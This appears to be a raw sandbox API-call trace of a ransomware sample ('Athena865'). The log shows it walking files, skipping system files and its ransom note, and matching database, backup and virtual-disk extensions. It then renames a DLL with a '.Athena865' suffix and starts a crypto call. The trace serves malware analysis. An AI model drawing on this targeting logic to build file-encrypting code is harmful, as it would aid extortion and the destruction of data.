RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.503] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0110.518] CloseHandle (hObject=0x154) returned 1 [0110.518] CloseHandle (hObject=0x17c) returned 1 [0110.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.525] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2=".") returned 1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="..") returned 1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="windows") returned -1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="bootmgr") returned 1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="temp") returned -1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="pagefile.sys") returned -1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="boot") returned 1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="ids.txt") returned 1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="ntuser.dat") returned -1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="perflogs") returned -1 [0110.525] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="MSBuild") returned -1 [0110.525] lstrlenW (lpString="Microsoft.Ink.dll") returned 17 [0110.525] lstrcpyW (in: lpString1=0x241e8ae, lpString2="Microsoft.Ink.dll" | out: lpString1="Microsoft.Ink.dll") returned="Microsoft.Ink.dll" [0110.525] lstrlenW (lpString="Microsoft.Ink.dll") returned 17 [0110.525] lstrlenW (lpString="Athena865") returned 9 [0110.525] lstrcmpiW (lpString1="t.Ink.dll", lpString2="Athena865") returned 1 [0110.526] lstrlenW (lpString=".dll") returned 4 [0110.526] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2=".dll") returned 1 [0110.526] lstrlenW (lpString=".lnk") returned 4 [0110.526] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2=".lnk") returned 1 [0110.526] lstrlenW (lpString=".ini") returned 4 [0110.526] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2=".ini") returned 1 [0110.526] lstrlenW (lpString=".sys") returned 4 [0110.526] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2=".sys") returned 1 [0110.526] lstrlenW (lpString="Microsoft.Ink.dll") returned 17 [0110.526] lstrlenW (lpString="bak") returned 3 [0110.526] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0110.526] lstrlenW (lpString="ba_") returned 3 [0110.526] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0110.526] lstrlenW (lpString="dbb") returned 3 [0110.526] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0110.526] lstrlenW (lpString="vmdk") returned 4 [0110.526] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0110.526] lstrlenW (lpString="rar") returned 3 [0110.526] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0110.526] lstrlenW (lpString="zip") returned 3 [0110.526] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0110.526] lstrlenW (lpString="tgz") returned 3 [0110.526] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0110.526] lstrlenW (lpString="vbox") returned 4 [0110.526] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0110.526] lstrlenW (lpString="vdi") returned 3 [0110.526] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0110.526] lstrlenW (lpString="vhd") returned 3 [0110.526] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0110.527] lstrlenW (lpString="vhdx") returned 4 [0110.527] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0110.527] lstrlenW (lpString="avhd") returned 4 [0110.527] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0110.527] lstrlenW (lpString="db") returned 2 [0110.527] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0110.527] lstrlenW (lpString="db2") returned 3 [0110.527] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0110.527] lstrlenW (lpString="db3") returned 3 [0110.527] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0110.527] lstrlenW (lpString="dbf") returned 3 [0110.527] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0110.527] lstrlenW (lpString="mdf") returned 3 [0110.527] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0110.527] lstrlenW (lpString="mdb") returned 3 [0110.527] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0110.527] lstrlenW (lpString="sql") returned 3 [0110.527] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0110.527] lstrlenW (lpString="sqlite") returned 6 [0110.527] lstrcmpiW (lpString1="nk.dll", lpString2="sqlite") returned -1 [0110.527] lstrlenW (lpString="sqlite3") returned 7 [0110.527] lstrcmpiW (lpString1="Ink.dll", lpString2="sqlite3") returned -1 [0110.527] lstrlenW (lpString="sqlitedb") returned 8 [0110.527] lstrcmpiW (lpString1=".Ink.dll", lpString2="sqlitedb") returned -1 [0110.527] lstrlenW (lpString="xml") returned 3 [0110.527] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0110.527] lstrlenW (lpString="$er") returned 3 [0110.527] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0110.527] lstrlenW (lpString="4dd") returned 3 [0110.527] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0110.528] lstrlenW (lpString="4dl") returned 3 [0110.528] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0110.528] lstrlenW (lpString="^^^") returned 3 [0110.528] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0110.528] lstrlenW (lpString="abs") returned 3 [0110.528] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0110.528] lstrlenW (lpString="abx") returned 3 [0110.528] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0110.528] lstrlenW (lpString="accdb") returned 5 [0110.528] lstrcmpiW (lpString1="k.dll", lpString2="accdb") returned 1 [0110.529] lstrlenW (lpString="accdc") returned 5 [0110.529] lstrcmpiW (lpString1="k.dll", lpString2="accdc") returned 1 [0110.529] lstrlenW (lpString="accde") returned 5 [0110.530] lstrcmpiW (lpString1="k.dll", lpString2="accde") returned 1 [0110.530] lstrlenW (lpString="accdr") returned 5 [0110.530] lstrcmpiW (lpString1="k.dll", lpString2="accdr") returned 1 [0110.530] lstrlenW (lpString="accdt") returned 5 [0110.530] lstrcmpiW (lpString1="k.dll", lpString2="accdt") returned 1 [0110.530] lstrlenW (lpString="accdw") returned 5 [0110.530] lstrcmpiW (lpString1="k.dll", lpString2="accdw") returned 1 [0110.530] lstrlenW (lpString="accft") returned 5 [0110.530] lstrcmpiW (lpString1="k.dll", lpString2="accft") returned 1 [0110.530] lstrlenW (lpString="adb") returned 3 [0110.530] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.530] lstrlenW (lpString="adb") returned 3 [0110.530] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.530] lstrlenW (lpString="ade") returned 3 [0110.530] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0110.530] lstrlenW (lpString="adf") returned 3 [0110.530] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0110.530] lstrlenW (lpString="adn") returned 3 [0110.530] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0110.530] lstrlenW (lpString="adp") returned 3 [0110.530] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0110.530] lstrlenW (lpString="alf") returned 3 [0110.530] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0110.530] lstrlenW (lpString="ask") returned 3 [0110.530] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0110.530] lstrlenW (lpString="btr") returned 3 [0110.530] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0110.530] lstrlenW (lpString="cat") returned 3 [0110.530] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0110.531] lstrlenW (lpString="cdb") returned 3 [0110.531] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0110.531] lstrlenW (lpString="ckp") returned 3 [0110.531] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0110.531] lstrlenW (lpString="cma") returned 3 [0110.531] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0110.531] lstrlenW (lpString="cpd") returned 3 [0110.531] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0110.531] lstrlenW (lpString="dacpac") returned 6 [0110.531] lstrcmpiW (lpString1="nk.dll", lpString2="dacpac") returned 1 [0110.531] lstrlenW (lpString="dad") returned 3 [0110.531] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0110.531] lstrlenW (lpString="dadiagrams") returned 10 [0110.531] lstrcmpiW (lpString1="ft.Ink.dll", lpString2="dadiagrams") returned 1 [0110.531] lstrlenW (lpString="daschema") returned 8 [0110.531] lstrcmpiW (lpString1=".Ink.dll", lpString2="daschema") returned -1 [0110.531] lstrlenW (lpString="db-journal") returned 10 [0110.531] lstrcmpiW (lpString1="ft.Ink.dll", lpString2="db-journal") returned 1 [0110.531] lstrlenW (lpString="db-shm") returned 6 [0110.531] lstrcmpiW (lpString1="nk.dll", lpString2="db-shm") returned 1 [0110.531] lstrlenW (lpString="db-wal") returned 6 [0110.531] lstrcmpiW (lpString1="nk.dll", lpString2="db-wal") returned 1 [0110.531] lstrlenW (lpString="dbc") returned 3 [0110.531] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0110.531] lstrlenW (lpString="dbs") returned 3 [0110.531] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0110.531] lstrlenW (lpString="dbt") returned 3 [0110.531] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0110.531] lstrlenW (lpString="dbv") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0110.532] lstrlenW (lpString="dbx") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0110.532] lstrlenW (lpString="dcb") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0110.532] lstrlenW (lpString="dct") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0110.532] lstrlenW (lpString="dcx") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0110.532] lstrlenW (lpString="ddl") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0110.532] lstrlenW (lpString="dlis") returned 4 [0110.532] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0110.532] lstrlenW (lpString="dp1") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0110.532] lstrlenW (lpString="dqy") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0110.532] lstrlenW (lpString="dsk") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0110.532] lstrlenW (lpString="dsn") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0110.532] lstrlenW (lpString="dtsx") returned 4 [0110.532] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0110.532] lstrlenW (lpString="dxl") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0110.532] lstrlenW (lpString="eco") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0110.532] lstrlenW (lpString="ecx") returned 3 [0110.532] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0110.533] lstrlenW (lpString="edb") returned 3 [0110.533] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0110.533] lstrlenW (lpString="epim") returned 4 [0110.533] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0110.533] lstrlenW (lpString="fcd") returned 3 [0110.533] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0110.533] lstrlenW (lpString="fdb") returned 3 [0110.533] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0110.533] lstrlenW (lpString="fic") returned 3 [0110.533] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0110.533] lstrlenW (lpString="flexolibrary") returned 12 [0110.533] lstrcmpiW (lpString1="soft.Ink.dll", lpString2="flexolibrary") returned 1 [0110.533] lstrlenW (lpString="fm5") returned 3 [0110.533] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0110.533] lstrlenW (lpString="fmp") returned 3 [0110.533] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0110.533] lstrlenW (lpString="fmp12") returned 5 [0110.533] lstrcmpiW (lpString1="k.dll", lpString2="fmp12") returned 1 [0110.533] lstrlenW (lpString="fmpsl") returned 5 [0110.533] lstrcmpiW (lpString1="k.dll", lpString2="fmpsl") returned 1 [0110.533] lstrlenW (lpString="fol") returned 3 [0110.533] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0110.533] lstrlenW (lpString="fp3") returned 3 [0110.533] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0110.533] lstrlenW (lpString="fp4") returned 3 [0110.533] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0110.533] lstrlenW (lpString="fp5") returned 3 [0110.533] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0110.533] lstrlenW (lpString="fp7") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0110.534] lstrlenW (lpString="fpt") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0110.534] lstrlenW (lpString="frm") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0110.534] lstrlenW (lpString="gdb") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.534] lstrlenW (lpString="gdb") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.534] lstrlenW (lpString="grdb") returned 4 [0110.534] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0110.534] lstrlenW (lpString="gwi") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0110.534] lstrlenW (lpString="hdb") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0110.534] lstrlenW (lpString="his") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0110.534] lstrlenW (lpString="ib") returned 2 [0110.534] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0110.534] lstrlenW (lpString="idb") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0110.534] lstrlenW (lpString="ihx") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0110.534] lstrlenW (lpString="itdb") returned 4 [0110.534] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0110.534] lstrlenW (lpString="itw") returned 3 [0110.534] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0110.534] lstrlenW (lpString="jet") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0110.535] lstrlenW (lpString="jtx") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0110.535] lstrlenW (lpString="kdb") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0110.535] lstrlenW (lpString="kexi") returned 4 [0110.535] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0110.535] lstrlenW (lpString="kexic") returned 5 [0110.535] lstrcmpiW (lpString1="k.dll", lpString2="kexic") returned -1 [0110.535] lstrlenW (lpString="kexis") returned 5 [0110.535] lstrcmpiW (lpString1="k.dll", lpString2="kexis") returned -1 [0110.535] lstrlenW (lpString="lgc") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0110.535] lstrlenW (lpString="lwx") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0110.535] lstrlenW (lpString="maf") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0110.535] lstrlenW (lpString="maq") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0110.535] lstrlenW (lpString="mar") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0110.535] lstrlenW (lpString="marshal") returned 7 [0110.535] lstrcmpiW (lpString1="Ink.dll", lpString2="marshal") returned -1 [0110.535] lstrlenW (lpString="mas") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0110.535] lstrlenW (lpString="mav") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0110.535] lstrlenW (lpString="maw") returned 3 [0110.535] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0110.536] lstrlenW (lpString="mdbhtml") returned 7 [0110.536] lstrcmpiW (lpString1="Ink.dll", lpString2="mdbhtml") returned -1 [0110.536] lstrlenW (lpString="mdn") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0110.536] lstrlenW (lpString="mdt") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0110.536] lstrlenW (lpString="mfd") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0110.536] lstrlenW (lpString="mpd") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0110.536] lstrlenW (lpString="mrg") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0110.536] lstrlenW (lpString="mud") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0110.536] lstrlenW (lpString="mwb") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0110.536] lstrlenW (lpString="myd") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0110.536] lstrlenW (lpString="ndf") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0110.536] lstrlenW (lpString="nnt") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0110.536] lstrlenW (lpString="nrmlib") returned 6 [0110.536] lstrcmpiW (lpString1="nk.dll", lpString2="nrmlib") returned -1 [0110.536] lstrlenW (lpString="ns2") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0110.536] lstrlenW (lpString="ns3") returned 3 [0110.536] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0110.536] lstrlenW (lpString="ns4") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0110.537] lstrlenW (lpString="nsf") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0110.537] lstrlenW (lpString="nv") returned 2 [0110.537] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0110.537] lstrlenW (lpString="nv2") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0110.537] lstrlenW (lpString="nwdb") returned 4 [0110.537] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0110.537] lstrlenW (lpString="nyf") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0110.537] lstrlenW (lpString="odb") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.537] lstrlenW (lpString="odb") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.537] lstrlenW (lpString="oqy") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0110.537] lstrlenW (lpString="ora") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0110.537] lstrlenW (lpString="orx") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0110.537] lstrlenW (lpString="owc") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0110.537] lstrlenW (lpString="p96") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0110.537] lstrlenW (lpString="p97") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0110.537] lstrlenW (lpString="pan") returned 3 [0110.537] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0110.538] lstrlenW (lpString="pdb") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0110.538] lstrlenW (lpString="pdm") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0110.538] lstrlenW (lpString="pnz") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0110.538] lstrlenW (lpString="qry") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0110.538] lstrlenW (lpString="qvd") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0110.538] lstrlenW (lpString="rbf") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0110.538] lstrlenW (lpString="rctd") returned 4 [0110.538] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0110.538] lstrlenW (lpString="rod") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0110.538] lstrlenW (lpString="rodx") returned 4 [0110.538] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0110.538] lstrlenW (lpString="rpd") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0110.538] lstrlenW (lpString="rsd") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0110.538] lstrlenW (lpString="sas7bdat") returned 8 [0110.538] lstrcmpiW (lpString1=".Ink.dll", lpString2="sas7bdat") returned -1 [0110.538] lstrlenW (lpString="sbf") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0110.538] lstrlenW (lpString="scx") returned 3 [0110.538] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0110.538] lstrlenW (lpString="sdb") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0110.539] lstrlenW (lpString="sdc") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0110.539] lstrlenW (lpString="sdf") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0110.539] lstrlenW (lpString="sis") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0110.539] lstrlenW (lpString="spq") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0110.539] lstrlenW (lpString="te") returned 2 [0110.539] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0110.539] lstrlenW (lpString="teacher") returned 7 [0110.539] lstrcmpiW (lpString1="Ink.dll", lpString2="teacher") returned -1 [0110.539] lstrlenW (lpString="tmd") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0110.539] lstrlenW (lpString="tps") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0110.539] lstrlenW (lpString="trc") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.539] lstrlenW (lpString="trc") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.539] lstrlenW (lpString="trm") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0110.539] lstrlenW (lpString="udb") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0110.539] lstrlenW (lpString="udl") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0110.539] lstrlenW (lpString="usr") returned 3 [0110.539] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0110.540] lstrlenW (lpString="v12") returned 3 [0110.540] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0110.540] lstrlenW (lpString="vis") returned 3 [0110.540] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0110.540] lstrlenW (lpString="vpd") returned 3 [0110.540] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0110.540] lstrlenW (lpString="vvv") returned 3 [0110.540] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0110.540] lstrlenW (lpString="wdb") returned 3 [0110.540] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0110.540] lstrlenW (lpString="wmdb") returned 4 [0110.540] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0110.540] lstrlenW (lpString="wrk") returned 3 [0110.540] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0110.540] lstrlenW (lpString="xdb") returned 3 [0110.540] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0110.540] lstrlenW (lpString="xld") returned 3 [0110.540] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0110.540] lstrlenW (lpString="xmlff") returned 5 [0110.540] lstrcmpiW (lpString1="k.dll", lpString2="xmlff") returned -1 [0110.540] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll.Athena865") returned 78 [0110.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.athena865"), dwFlags=0x1) returned 1 [0110.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0110.542] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=507904) returned 1 [0110.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.543] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, 